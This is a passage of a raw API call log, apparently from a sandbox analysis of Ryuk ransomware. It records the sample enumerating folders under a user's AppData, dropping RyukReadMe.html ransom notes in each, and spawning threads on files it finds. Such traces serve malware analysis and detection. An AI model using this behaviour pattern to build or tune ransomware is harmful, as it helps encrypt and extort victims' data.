	[0250.809] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0250.809] SetLastError (dwErrCode=0x0) 
	[0250.809] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.809] GetLastError () returned 0x3
	[0250.809] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.809] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.809] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0250.809] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0250.809] SetLastError (dwErrCode=0x0) 
	[0250.809] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.809] GetLastError () returned 0x3
	[0250.810] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.810] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.810] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0250.810] SetLastError (dwErrCode=0x0) 
	[0250.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.810] GetLastError () returned 0x3
	[0250.810] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.810] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.810] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0250.810] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0250.810] SetLastError (dwErrCode=0x0) 
	[0250.810] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.810] GetLastError () returned 0x3
	[0250.810] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.810] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.811] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0250.811] SetLastError (dwErrCode=0x0) 
	[0250.811] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.811] GetLastError () returned 0x3
	[0250.811] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.811] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.811] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0250.811] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0250.811] SetLastError (dwErrCode=0x0) 
	[0250.811] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\D68G7BIJ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\d68g7bij\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.811] GetLastError () returned 0x3
	[0250.811] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.811] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.812] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x200, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0250.812] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2bc126f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x200, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0250.812] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0250.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608
	[0250.818] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.819] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
	[0250.819] SetLastError (dwErrCode=0x0) 
	[0250.819] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.819] GetLastError () returned 0x3
	[0250.819] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.819] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.819] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0250.819] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0250.819] SetLastError (dwErrCode=0x0) 
	[0250.819] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\KQMHSVKD\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\kqmhsvkd\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.820] GetLastError () returned 0x3
	[0250.820] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.820] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0
	[0250.820] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0250.821] SetLastError (dwErrCode=0x0) 
	[0250.822] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.822] GetLastError () returned 0x3
	[0250.822] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0250.822] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.822] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1
	[0250.822] SetLastError (dwErrCode=0x0) 
	[0250.822] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584
	[0250.822] GetLastError () returned 0xb7
	[0250.822] CloseHandle (hObject=0x584) returned 1
	[0250.823] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0250.824] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.824] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d757c20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x200, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1
	[0250.824] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0250.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c
	[0250.829] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.830] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d757c20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x200, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 0
	[0250.830] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0250.830] SetLastError (dwErrCode=0x0) 
	[0250.830] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.830] GetLastError () returned 0x3
	[0250.830] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0250.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.830] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
	[0250.830] SetLastError (dwErrCode=0x0) 
	[0250.830] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584
	[0250.831] GetLastError () returned 0xb7
	[0250.831] CloseHandle (hObject=0x584) returned 1
	[0250.831] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0250.832] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.832] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd754c00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd754c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd754c00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0250.832] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0250.832] SetLastError (dwErrCode=0x0) 
	[0250.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\IME12\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ime12\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.832] GetLastError () returned 0x3
	[0250.832] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0250.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
